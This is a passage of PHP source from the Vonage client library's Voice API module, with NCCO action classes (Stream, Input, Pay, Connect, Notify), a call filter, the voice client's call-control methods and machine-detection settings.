getEventWebhook(): ?Webhook { return $this->eventWebhook; } /** * @return $this */ public function setEventWebhook(Webhook $eventWebhook): self { $this->eventWebhook = $eventWebhook; return $this; } public function getEndOnSilence(): ?int { return $this->endOnSilence; } /** * @return $this */ public function setEndOnSilence(int $endOnSilence): self { if ($endOnSilence > 10 || $endOnSilence < 3) { throw new InvalidArgumentException('End On Silence value must be between 3 and 10 seconds, inclusive'); } $this->endOnSilence = $endOnSilence; return $this; } public function getTimeout(): int { return $this->timeOut; } /** * @return $this */ public function setTimeout(int $timeOut): self { if ($timeOut > 7200 || $timeOut < 3) { throw new InvalidArgumentException('TimeOut value must be between 3 and 7200 seconds, inclusive'); } $this->timeOut = $timeOut; return $this; } public function getBeepStart(): bool { return $this->beepStart; } /** * @return $this */ public function setBeepStart(bool $beepStart): self { $this->beepStart = $beepStart; return $this; } public function getChannels(): ?int { return $this->channels; } /** * @return $this */ public function setChannels(int $channels): self { if ($channels > 32) { throw new InvalidArgumentException('Number of channels must be 32 or less'); } if ($channels > 1) { $this->channels = $channels; $this->setSplit(self::SPLIT); $this->format = self::FORMAT_WAV; } else { $this->channels = null; $this->split = null; } return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\NCCO\Action; use function array_key_exists; use function filter_var; use function is_null; class Stream implements ActionInterface { /** * @var bool */ protected $bargeIn; /** * @var float */ protected $level; /** * @var int */ protected $loop; public function __construct(protected string $streamUrl) { } /** * @param array{streamUrl: string, bargeIn?: bool, level?: float, loop?: int, voiceName?: string} $data */ public static function factory(string $streamUrl, array $data): Stream { $stream = new Stream($streamUrl); if (array_key_exists('bargeIn', $data)) { $stream->setBargeIn( filter_var($data['bargeIn'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE]) ); } if (array_key_exists('level', $data)) { $stream->setLevel( filter_var($data['level'], FILTER_VALIDATE_FLOAT, ['flags' => FILTER_NULL_ON_FAILURE]) ); } if (array_key_exists('loop', $data)) { $stream->setLoop( filter_var($data['loop'], FILTER_VALIDATE_INT, ['flags' => FILTER_NULL_ON_FAILURE]) ); } return $stream; } public function getBargeIn(): ?bool { return $this->bargeIn; } public function getLevel(): ?float { return $this->level; } public function getLoop(): ?int { return $this->loop; } public function getStreamUrl(): string { return $this->streamUrl; } /** * @return array{action: string, bargeIn: bool, level: float, loop: int, streamUrl: string} */ public function jsonSerialize(): array { return $this->toNCCOArray(); } /** * @return $this */ public function setBargeIn(bool $value): self { $this->bargeIn = $value; return $this; } /** * @return $this */ public function setLevel(float $level): self { $this->level = $level; return $this; } /** * @return $this */ public function setLoop(int $times): self { $this->loop = $times; return $this; } /** * @return array{action: string, bargeIn: bool, level: float, loop: int, streamUrl: string} */ public function toNCCOArray(): array { $data = [ 'action' => 'stream', 'streamUrl' => [$this->getStreamUrl()], ]; if (!is_null($this->getBargeIn())) { $data['bargeIn'] = $this->getBargeIn() ? 'true' : 'false'; } if (!is_null($this->getLevel())) { $data['level'] = (string)$this->getLevel(); } if (!is_null($this->getLoop())) { $data['loop'] = (string)$this->getLoop(); } return $data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\NCCO\Action; use RuntimeException; use Vonage\Voice\Webhook; use function array_key_exists; use function filter_var; use function is_array; use function is_null; class Input implements ActionInterface { /** * @var int */ protected $dtmfTimeout; /** * @var int */ protected $dtmfMaxDigits; /** * @var bool */ protected $dtmfSubmitOnHash; /** * @var ?string */ protected $speechUUID; /** * @var int */ protected $speechEndOnSilence; /** * @var string */ protected $speechLanguage; /** * @var array<string> */ protected $speechContext; /** * @var ?int */ protected $speechStartTimeout; /** * @var int */ protected $speechMaxDuration; /** * @var ?Webhook */ protected $eventWebhook; /** * @var bool */ protected $enableSpeech = false; /** * @var bool */ protected $enableDtmf = false; /** * @param array<array, mixed> $data */ public static function factory(array $data): Input { $action = new self(); if (array_key_exists('dtmf', $data)) { $dtmf = $data['dtmf']; $action->setEnableDtmf(true); if (array_key_exists('timeOut', $dtmf)) { $action->setDtmfTimeout((int)$dtmf['timeOut']); } if (array_key_exists('maxDigits', $dtmf)) { $action->setDtmfMaxDigits((int)$dtmf['maxDigits']); } if (array_key_exists('submitOnHash', $dtmf)) { $action->setDtmfSubmitOnHash( filter_var($dtmf['submitOnHash'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE]) ); } } if (array_key_exists('speech', $data)) { $speech = $data['speech']; $action->setEnableSpeech(true); if (array_key_exists('uuid', $speech)) { $action->setSpeechUUID($speech['uuid'][0]); } if (array_key_exists('endOnSilence', $speech)) { $action->setSpeechEndOnSilence((int)$speech['endOnSilence']); } if (array_key_exists('language', $speech)) { $action->setSpeechLanguage($speech['language']); } if (array_key_exists('context', $speech)) { $action->setSpeechContext($speech['context']); } if (array_key_exists('startTimeout', $speech)) { $action->setSpeechStartTimeout((int)$speech['startTimeout']); } if (array_key_exists('maxDuration', $speech)) { $action->setSpeechMaxDuration((int)$speech['maxDuration']); } } if (array_key_exists('eventUrl', $data)) { if (is_array($data['eventUrl'])) { $data['eventUrl'] = $data['eventUrl'][0]; } if (array_key_exists('eventMethod', $data)) { $webhook = new Webhook($data['eventUrl'], $data['eventMethod']); } else { $webhook = new Webhook($data['eventUrl']); } $action->setEventWebhook($webhook); } return $action; } /** * @return array<string, mixed> */ public function jsonSerialize(): array { return $this->toNCCOArray(); } /** * @return array<string, mixed> */ public function toNCCOArray(): array { $data = [ 'action' => 'input', ]; if ($this->getEnableDtmf() === false && $this->getEnableSpeech() === false) { throw new RuntimeException('Input NCCO action must have either speech or DTMF enabled'); } if ($this->getEnableDtmf()) { $dtmf = []; if ($this->getDtmfTimeout()) { $dtmf['timeOut'] = $this->getDtmfTimeout(); } if ($this->getDtmfMaxDigits()) { $dtmf['maxDigits'] = $this->getDtmfMaxDigits(); } if (!is_null($this->getDtmfSubmitOnHash())) { $dtmf['submitOnHash'] = $this->getDtmfSubmitOnHash() ? 'true' : 'false'; } $data['dtmf'] = (object)$dtmf; } if ($this->getEnableSpeech()) { $speech = []; if ($this->getSpeechUUID()) { $speech['uuid'] = [$this->getSpeechUUID()]; } if ($this->getSpeechEndOnSilence()) { $speech['endOnSilence'] = $this->getSpeechEndOnSilence(); } if ($this->getSpeechLanguage()) { $speech['language'] = $this->getSpeechLanguage(); } if ($this->getSpeechMaxDuration()) { $speech['maxDuration'] = $this->getSpeechMaxDuration(); } $context = $this->getSpeechContext(); if (!empty($context)) { $speech['context'] = $context; } $startTimeout = $this->getSpeechStartTimeout(); if ($startTimeout) { $speech['startTimeout'] = $startTimeout; } $data['speech'] = (object)$speech; } $eventWebhook = $this->getEventWebhook(); if ($eventWebhook) { $data['eventUrl'] = [$eventWebhook->getUrl()]; $data['eventMethod'] = $eventWebhook->getMethod(); } return $data; } public function getDtmfTimeout(): ?int { return $this->dtmfTimeout; } /** * @return $this */ public function setDtmfTimeout(int $dtmfTimeout): self { $this->setEnableDtmf(true); $this->dtmfTimeout = $dtmfTimeout; return $this; } public function getDtmfMaxDigits(): ?int { return $this->dtmfMaxDigits; } /** * @return $this */ public function setDtmfMaxDigits(int $dtmfMaxDigits): self { $this->setEnableDtmf(true); $this->dtmfMaxDigits = $dtmfMaxDigits; return $this; } public function getDtmfSubmitOnHash(): ?bool { return $this->dtmfSubmitOnHash; } /** * @return $this */ public function setDtmfSubmitOnHash(bool $dtmfSubmitOnHash): self { $this->setEnableDtmf(true); $this->dtmfSubmitOnHash = $dtmfSubmitOnHash; return $this; } public function getSpeechUUID(): ?string { return $this->speechUUID; } /** * @return $this */ public function setSpeechUUID(string $speechUUID): self { $this->setEnableSpeech(true); $this->speechUUID = $speechUUID; return $this; } public function getSpeechEndOnSilence(): ?int { return $this->speechEndOnSilence; } /** * @return $this */ public function setSpeechEndOnSilence(int $speechEndOnSilence): self { $this->setEnableSpeech(true); $this->speechEndOnSilence = $speechEndOnSilence; return $this; } public function getSpeechLanguage(): ?string { return $this->speechLanguage; } /** * @return $this */ public function setSpeechLanguage(string $speechLanguage): self { $this->setEnableSpeech(true); $this->speechLanguage = $speechLanguage; return $this; } /** * @return array<string> */ public function getSpeechContext(): ?array { return $this->speechContext; } /** * @param array<string> $speechContext Array of words to help with speech recognition * * @return Input */ public function setSpeechContext(array $speechContext): self { $this->setEnableSpeech(true); $this->speechContext = $speechContext; return $this; } public function getSpeechStartTimeout(): ?int { return $this->speechStartTimeout; } /** * @return $this */ public function setSpeechStartTimeout(int $speechStartTimeout): self { $this->setEnableSpeech(true); $this->speechStartTimeout = $speechStartTimeout; return $this; } public function getSpeechMaxDuration(): ?int { return $this->speechMaxDuration; } public function setSpeechMaxDuration(int $speechMaxDuration): self { $this->setEnableSpeech(true); $this->speechMaxDuration = $speechMaxDuration; return $this; } public function getEventWebhook(): ?Webhook { return $this->eventWebhook; } /** * @return $this */ public function setEventWebhook(Webhook $eventWebhook): self { $this->eventWebhook = $eventWebhook; return $this; } public function getEnableSpeech(): bool { return $this->enableSpeech; } /** * @return $this */ public function setEnableSpeech(bool $enableSpeech): Input { $this->enableSpeech = $enableSpeech; return $this; } public function getEnableDtmf(): bool { return $this->enableDtmf; } /** * @return $this */ public function setEnableDtmf(bool $enableDtmf): Input { $this->enableDtmf = $enableDtmf; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\NCCO\Action; use JsonSerializable; interface ActionInterface extends JsonSerializable { /** * @return array<string, string> */ public function toNCCOArray(): array; } <?php declare(strict_types=1); namespace Vonage\Voice\NCCO\Action; use InvalidArgumentException; /** * @deprecated This will be removed in the next major version as it is being removed from the API */ class Pay implements ActionInterface { protected const PERMITTED_VOICE_KEYS = ['language', 'style']; protected const PERMITTED_ERROR_KEYS = [ 'CardNumber' => [ 'InvalidCardType', 'InvalidCardNumber', 'Timeout' ], 'ExpirationDate' => [ 'InvalidExpirationDate', 'Timeout' ], 'SecurityCode' => [ 'InvalidSecurityCode', 'Timeout' ] ]; /** * @var float */ protected float $amount; /** * @var string */ protected string $currency; /** * @var string */ protected string $eventUrl; /** * @var array */ protected array $prompts; /** * @var array */ protected array $voice; /** * @return float */ public function getAmount(): float { return $this->amount; } public function setAmount(float $amount): void { $this->amount = $amount; } public function getCurrency(): ?string { return $this->currency; } public function setCurrency(?string $currency): void { $this->currency = $currency; } public function getEventUrl(): ?string { return $this->eventUrl; } public function setEventUrl(string $eventUrl): void { $this->eventUrl = $eventUrl; } /** * @return array */ public function getPrompts(): array { return $this->prompts; } public function setPrompts(array $prompts): void { if (!array_key_exists('type', $prompts)) { throw new InvalidArgumentException('type is required when setting a text prompt.'); } if (!array_key_exists($prompts['type'], self::PERMITTED_ERROR_KEYS)) { throw new InvalidArgumentException('invalid prompt type.'); } if (!array_key_exists('text', $prompts)) { throw new InvalidArgumentException('text is required when setting error text prompts..'); } if (!array_key_exists('errors', $prompts)) { throw new InvalidArgumentException('error settings are required when setting am error text prompt.'); } foreach ($prompts['errors'] as $errorPromptKey => $errorPromptData) { if (!array_key_exists('text', $errorPromptData)) { throw new InvalidArgumentException('text is required when setting error text prompts.'); } $permittedErrors = self::PERMITTED_ERROR_KEYS[$prompts['type']]; if (!in_array($errorPromptKey, $permittedErrors, true)) { throw new InvalidArgumentException('incorrect error type for prompt.'); } } $this->prompts = $prompts; } /** * @return ?array */ public function getVoice(): array { return $this->voice; } public function setVoice(array $settings): void { foreach (array_keys($settings) as $settingKey) { if (!in_array($settingKey, self::PERMITTED_VOICE_KEYS, true)) { throw new InvalidArgumentException($settingKey . ' did not fall under permitted voice settings'); } } $this->voice = $settings; } public function toNCCOArray(): array { $data = [ 'action' => 'pay', 'amount' => $this->getAmount() ]; if (isset($this->currency)) { $data['currency'] = $this->getCurrency(); } if (isset($this->eventUrl)) { $data['eventUrl'] = $this->getEventUrl(); } if (isset($this->prompts)) { $data['prompts'] = $this->getPrompts(); } if (isset($this->voice)) { $data['voice'] = $this->getVoice(); } return $data; } public function jsonSerialize(): array { return $this->toNCCOArray(); } public static function factory(array $data): Pay { $pay = new self(); if (array_key_exists('amount', $data)) { $pay->setAmount($data['amount']); } else { throw new InvalidArgumentException('Amount is required for this action.'); } if (array_key_exists('currency', $data)) { $pay->setCurrency($data['currency']); } if (array_key_exists('eventUrl', $data)) { $pay->setEventUrl($data['eventUrl']); } if (array_key_exists('prompts', $data)) { $pay->setPrompts($data['prompts']); } if (array_key_exists('voice', $data)) { $pay->setVoice($data['voice']); } return $pay; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\NCCO\Action; use InvalidArgumentException; use Vonage\Voice\Endpoint\EndpointInterface; use Vonage\Voice\VoiceObjects\AdvancedMachineDetection; use Vonage\Voice\Webhook; class Connect implements ActionInterface { public const EVENT_TYPE_SYNCHRONOUS = 'synchronous'; public const MACHINE_CONTINUE = 'continue'; public const MACHINE_HANGUP = 'hangup'; protected ?string $from = ''; protected ?string $eventType = ''; protected int $timeout = 0; protected int $limit = 0; protected $machineDetection = ''; protected ?Webhook $eventWebhook = null; protected ?string $ringbackTone = ''; protected ?AdvancedMachineDetection $advancedMachineDetection = null; public function __construct(protected EndpointInterface $endpoint) { } public static function factory(EndpointInterface $endpoint): Connect { return new Connect($endpoint); } /** * @return array|mixed */ #[\ReturnTypeWillChange] public function jsonSerialize() { return $this->toNCCOArray(); } public function toNCCOArray(): array { $data = [ 'action' => 'connect', 'endpoint' => [$this->endpoint->toArray()], ]; if ($this->getTimeout()) { $data['timeout'] = $this->getTimeout(); } if ($this->getLimit()) { $data['limit'] = $this->getLimit(); } if ($this->getMachineDetection()) { $data['machineDetection'] = $this->getMachineDetection(); } if ($this->getAdvancedMachineDetection()) { $data['advancedMachineDetection'] = $this->getAdvancedMachineDetection()->toArray(); } $from = $this->getFrom(); if ($from) { $data['from'] = $from; } $eventType = $this->getEventType(); if ($eventType) { $data['eventType'] = $eventType; } $eventWebhook = $this->getEventWebhook(); if ($eventWebhook) { $data['eventUrl'] = [$eventWebhook->getUrl()]; $data['eventMethod'] = $eventWebhook->getMethod(); } $ringbackTone = $this->getRingbackTone(); if ($ringbackTone) { $data['ringbackTone'] = $ringbackTone; } return $data; } public function getFrom(): ?string { return $this->from; } /** * @return $this */ public function setFrom(string $from): self { $this->from = $from; return $this; } public function getEventType(): ?string { return $this->eventType; } /** * @return $this */ public function setEventType(string $eventType): self { if ($eventType !== self::EVENT_TYPE_SYNCHRONOUS) { throw new InvalidArgumentException('Unknown event type for Connection action'); } $this->eventType = $eventType; return $this; } public function getTimeout(): ?int { return $this->timeout; } /** * @return $this */ public function setTimeout(int $timeout): self { $this->timeout = $timeout; return $this; } public function getLimit(): ?int { return $this->limit; } /** * @return $this */ public function setLimit(int $limit): self { $this->limit = $limit; return $this; } public function getMachineDetection(): ?string { return $this->machineDetection; } /** * @return $this */ public function setMachineDetection(string $machineDetection): self { if ( $machineDetection !== self::MACHINE_CONTINUE && $machineDetection !== self::MACHINE_HANGUP ) { throw new InvalidArgumentException('Unknown machine detection type'); } $this->machineDetection = $machineDetection; return $this; } public function getEventWebhook(): ?Webhook { return $this->eventWebhook; } /** * @return $this */ public function setEventWebhook(Webhook $eventWebhook): self { $this->eventWebhook = $eventWebhook; return $this; } public function getRingbackTone(): ?string { return $this->ringbackTone; } /** * @return $this */ public function setRingbackTone(string $ringbackTone): self { $this->ringbackTone = $ringbackTone; return $this; } public function getAdvancedMachineDetection(): ?AdvancedMachineDetection { return $this->advancedMachineDetection; } public function setAdvancedMachineDetection(AdvancedMachineDetection $advancedMachineDetection): static { $this->advancedMachineDetection = $advancedMachineDetection; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\NCCO\Action; use InvalidArgumentException; use Vonage\Voice\Webhook; use function array_key_exists; class Notify implements ActionInterface { public function __construct(protected array $payload, protected ?\Vonage\Voice\Webhook $eventWebhook) { } /** * @param array<array, mixed> $data */ public static function factory(array $payload, array $data): Notify { if (array_key_exists('eventUrl', $data)) { if (array_key_exists('eventMethod', $data)) { $webhook = new Webhook($data['eventUrl'], $data['eventMethod']); } else { $webhook = new Webhook($data['eventUrl']); } } else { throw new InvalidArgumentException('Must supply at least an eventUrl for Notify NCCO'); } return new Notify($payload, $webhook); } /** * @return array<string, mixed> */ public function jsonSerialize(): array { return $this->toNCCOArray(); } /** * @return array<string, mixed> */ public function toNCCOArray(): array { $eventWebhook = $this->getEventWebhook(); return [ 'action' => 'notify', 'payload' => $this->getPayload(), 'eventUrl' => [null !== $eventWebhook ? $eventWebhook->getUrl() : null], 'eventMethod' => null !== $eventWebhook ? $eventWebhook->getMethod() : null, ]; } public function getEventWebhook(): ?Webhook { return $this->eventWebhook; } public function setEventWebhook(Webhook $eventWebhook): self { $this->eventWebhook = $eventWebhook; return $this; } public function getPayload(): array { return $this->payload; } public function addToPayload(string $key, string $value): self { $this->payload[$key] = $value; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Filter; use DateTimeImmutable; use DateTimeZone; use InvalidArgumentException; use Vonage\Entity\Filter\FilterInterface; class VoiceFilter implements FilterInterface { public const STATUS_STARTED = 'started'; public const STATUS_RINGING = 'ringing'; public const STATUS_ANSWERED = 'answered'; public const STATUS_MACHINE = 'machine'; public const STATUS_COMPLETED = 'completed'; public const STATUS_BUSY = 'busy'; public const STATUS_CANCELLED = 'cancelled'; public const STATUS_FAILED = 'failed'; public const STATUS_REJECTED = 'rejected'; public const STATUS_TIMEOUT = 'timeout'; public const STATUS_UNANSWERED = 'unanswered'; public const ORDER_ASC = 'asc'; public const ORDER_DESC = 'desc'; /** * @var string */ protected $status; /** * @var DateTimeImmutable */ protected $dateStart; /** * @var DateTimeImmutable */ protected $dateEnd; /** * @var int */ protected $pageSize = 10; /** * @var int */ protected $recordIndex = 0; /** * @var string */ protected $order = 'asc'; /** * @var string */ protected $conversationUUID; public function getQuery(): array { $data = [ 'page_size' => $this->getPageSize(), 'record_index' => $this->getRecordIndex(), 'order' => $this->getOrder(), ]; if ($this->getStatus()) { $data['status'] = $this->getStatus(); } if ($this->getDateStart()) { $data['date_start'] = $this->getDateStart()->format('Y-m-d\TH:i:s\Z'); } if ($this->getDateEnd()) { $data['date_end'] = $this->getDateEnd()->format('Y-m-d\TH:i:s\Z'); } if ($this->getConversationUUID()) { $data['conversation_uuid'] = $this->getConversationUUID(); } return $data; } public function getStatus(): ?string { return $this->status; } /** * @return $this */ public function setStatus(string $status): self { $this->status = $status; return $this; } public function getDateStart(): ?DateTimeImmutable { return $this->dateStart; } /** * @return $this */ public function setDateStart(DateTimeImmutable $dateStart): self { $dateStart = $dateStart->setTimezone(new DateTimeZone('Z')); $this->dateStart = $dateStart; return $this; } public function getDateEnd(): ?DateTimeImmutable { return $this->dateEnd; } /** * @return $this */ public function setDateEnd(DateTimeImmutable $dateEnd): self { $dateEnd = $dateEnd->setTimezone(new DateTimeZone('Z')); $this->dateEnd = $dateEnd; return $this; } public function getPageSize(): int { return $this->pageSize; } /** * @return $this */ public function setPageSize(int $pageSize): self { $this->pageSize = $pageSize; return $this; } public function getRecordIndex(): int { return $this->recordIndex; } /** * @return $this */ public function setRecordIndex(int $recordIndex): self { $this->recordIndex = $recordIndex; return $this; } public function getOrder(): string { return $this->order; } /** * @return $this */ public function setOrder(string $order): self { if ($order !== self::ORDER_ASC && $order !== self::ORDER_DESC) { throw new InvalidArgumentException('Order must be `asc` or `desc`'); } $this->order = $order; return $this; } public function getConversationUUID(): ?string { return $this->conversationUUID; } /** * @return $this */ public function setConversationUUID(string $conversationUUID): self { $this->conversationUUID = $conversationUUID; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\KeypairHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api ->setBaseUri('/v1/calls') ->setAuthHandler(new KeypairHandler()) ->setCollectionName('calls'); return new Client($api); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice; use DateTimeImmutable; use DateTimeZone; use Exception; use Psr\Http\Client\ClientExceptionInterface; use Psr\Http\Message\StreamInterface; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Entity\Filter\FilterInterface; use Vonage\Entity\Hydrator\ArrayHydrator; use Vonage\Entity\IterableAPICollection; use Vonage\Voice\NCCO\Action\Talk; use Vonage\Voice\NCCO\NCCO; use Vonage\Voice\Webhook\Event; use function is_null; class Client implements APIClient { public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception * @throws Exception * @throws Exception * * @return Event {uuid: string, conversation_uuid: string, status: string, direction: string} */ public function createOutboundCall(OutboundCall $call): Event { $json = [ 'to' => [$call->getTo()], ]; if ($call->getFrom()) { $json['from'] = $call->getFrom(); } else { $json['random_from_number'] = true; } if (null !== $call->getAnswerWebhook()) { $json['answer_url'] = [$call->getAnswerWebhook()->getUrl()]; $json['answer_method'] = $call->getAnswerWebhook()->getMethod(); } if (null !== $call->getEventWebhook()) { $json['event_url'] = [$call->getEventWebhook()->getUrl()]; $json['event_method'] = $call->getEventWebhook()->getMethod(); } if (null !== $call->getNCCO()) { $json['ncco'] = $call->getNCCO(); } if ($call->getMachineDetection()) { $json['machine_detection'] = $call->getMachineDetection(); } if (!is_null($call->getLengthTimer())) { $json['length_timer'] = (string)$call->getLengthTimer(); } if (!is_null($call->getRingingTimer())) { $json['ringing_timer'] = (string)$call->getRingingTimer(); } if (!is_null($call->getAdvancedMachineDetection())) { $json['advanced_machine_detection'] = $call->getAdvancedMachineDetection()->toArray(); } $event = $this->api->create($json); $event['to'] = $call->getTo()->getId(); if ($call->getFrom()) { $event['from'] = $call->getFrom()->getId(); } $event['timestamp'] = (new DateTimeImmutable("now", new DateTimeZone("UTC")))->format(DATE_ATOM); return new Event($event); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception */ public function earmuffCall(string $callId): void { $this->modifyCall($callId, CallAction::EARMUFF); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception * @throws Exception */ public function get(string $callId): Call { return (new CallFactory())->create($this->api->get($callId)); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception */ public function hangupCall(string $callId): void { $this->modifyCall($callId, CallAction::HANGUP); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception */ public function modifyCall(string $callId, string $action): void { $this->api->update($callId, [ 'action' => $action, ]); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception */ public function muteCall(string $callId): void { $this->modifyCall($callId, CallAction::MUTE); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception * * @return array{uuid: string, message: string} */ public function playDTMF(string $callId, string $digits): array { return $this->api->update($callId . '/dtmf', [ 'digits' => $digits ]); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception * * @return array{uuid: string, message: string} */ public function playTTS(string $callId, Talk $action): array { $payload = $action->toNCCOArray(); unset($payload['action']); return $this->api->update($callId . '/talk', $payload); } public function search(FilterInterface $filter = null): IterableAPICollection { $response = $this->api->search($filter); $response->setApiResource(clone $this->api); $response->setNaiveCount(true); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new Call()); $response->setHydrator($hydrator); return $response; } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception * * @return array{uuid: string, message: string} */ public function stopStreamAudio(string $callId): array { return $this->api->delete($callId . '/stream'); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception * * @return array{uuid: string, message: string} */ public function stopTTS(string $callId): array { return $this->api->delete($callId . '/talk'); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception * * @return array{uuid: string, message: string} */ public function streamAudio(string $callId, string $url, int $loop = 1, float $volumeLevel = 0.0): array { return $this->api->update($callId . '/stream', [ 'stream_url' => [$url], 'loop' => (string)$loop, 'level' => (string)$volumeLevel, ]); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception */ public function transferCallWithNCCO(string $callId, NCCO $ncco): void { $this->api->update($callId, [ 'action' => 'transfer', 'destination' => [ 'type' => 'ncco', 'ncco' => $ncco->toArray() ], ]); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception */ public function transferCallWithUrl(string $callId, string $url): void { $this->api->update($callId, [ 'action' => 'transfer', 'destination' => [ 'type' => 'ncco', 'url' => [$url] ] ]); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception */ public function unearmuffCall(string $callId): void { $this->modifyCall($callId, CallAction::UNEARMUFF); } /** * @throws ClientExceptionInterface * @throws \Vonage\Client\Exception\Exception */ public function unmuteCall(string $callId): void { $this->modifyCall($callId, CallAction::UNMUTE); } public function getRecording(string $url): StreamInterface { return $this->getAPIResource()->get($url, [], [], false, true); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice; class Webhook { public const METHOD_GET = 'GET'; public const METHOD_POST = 'POST'; public function __construct(protected string $url, protected string $method = self::METHOD_POST) { } public function getMethod(): string { return $this->method; } public function getUrl(): string { return $this->url; } } <?php namespace Vonage\Voice\VoiceObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class AdvancedMachineDetection implements ArrayHydrateInterface { public const MACHINE_BEHAVIOUR_CONTINUE = 'continue'; public const MACHINE_BEHAVIOUR_HANGUP = 'hangup'; public const MACHINE_MODE_DETECT = 'detect'; public const MACHINE_MODE_DETECT_BEEP = 'detect_beep'; public const BEEP_TIMEOUT_MIN = 45; public const BEEP_TIMEOUT_MAX = 120; protected array $permittedBehaviour = [self::MACHINE_BEHAVIOUR_CONTINUE, self::MACHINE_BEHAVIOUR_HANGUP]; protected array $permittedModes = [self::MACHINE_MODE_DETECT, self::MACHINE_MODE_DETECT_BEEP]; public function __construct( protected string $behaviour, protected int $beepTimeout, protected string $mode = 'detect' ) { if (!$this->isValidBehaviour($behaviour)) { throw new \InvalidArgumentException($behaviour . ' is not a valid behavior string'); } if (!$this->isValidMode($mode)) { throw new \InvalidArgumentException($mode . ' is not a valid mode string'); } if (!$this->isValidTimeout($beepTimeout)) { throw new \OutOfBoundsException('Timeout ' . $beepTimeout . ' is not valid'); } } protected function isValidBehaviour(string $behaviour): bool { if (in_array($behaviour, $this->permittedBehaviour, true)) { return true; } return false; } protected function isValidMode(string $mode): bool { if (in_array($mode, $this->permittedModes, true)) { return true; } return false; } protected function isValidTimeout(int $beepTimeout): bool { $range = [ 'options' => [ 'min_range' => self::BEEP_TIMEOUT_MIN, 'max_range' => self::BEEP_TIMEOUT_MAX ] ]; if (filter_var($beepTimeout, FILTER_VALIDATE_INT, $range)) { return true; } return false; } public function fromArray(array $data): static { $this->isArrayValid($data); $this->behaviour = $data['behaviour']; $this->mode = $data['mode']; $this->beepTimeout = $data['beep_timeout']; return $this; } public function toArray(): array { return [ 'behavior' => $this->behaviour, 'mode' => $this->mode, 'beep_timeout' => $this->beepTimeout ]; } protected function isArrayValid(array $data): bool { if ( !array_key_exists('behaviour', $data) || !array_key_exists('mode', $data) || !array_key_exists('beep_timeout', $data) ) { return false; } return $this->isValidBehaviour($data['behaviour']) || $this->isValidMode($data['mode']) || $this->isValidTimeout($data['beep_timeout']); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\Endpoint; use JsonSerializable; interface EndpointInterface extends JsonSerializable { public function getId(): string; /** * @return array<string, array> */ public function toArray(): array; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ 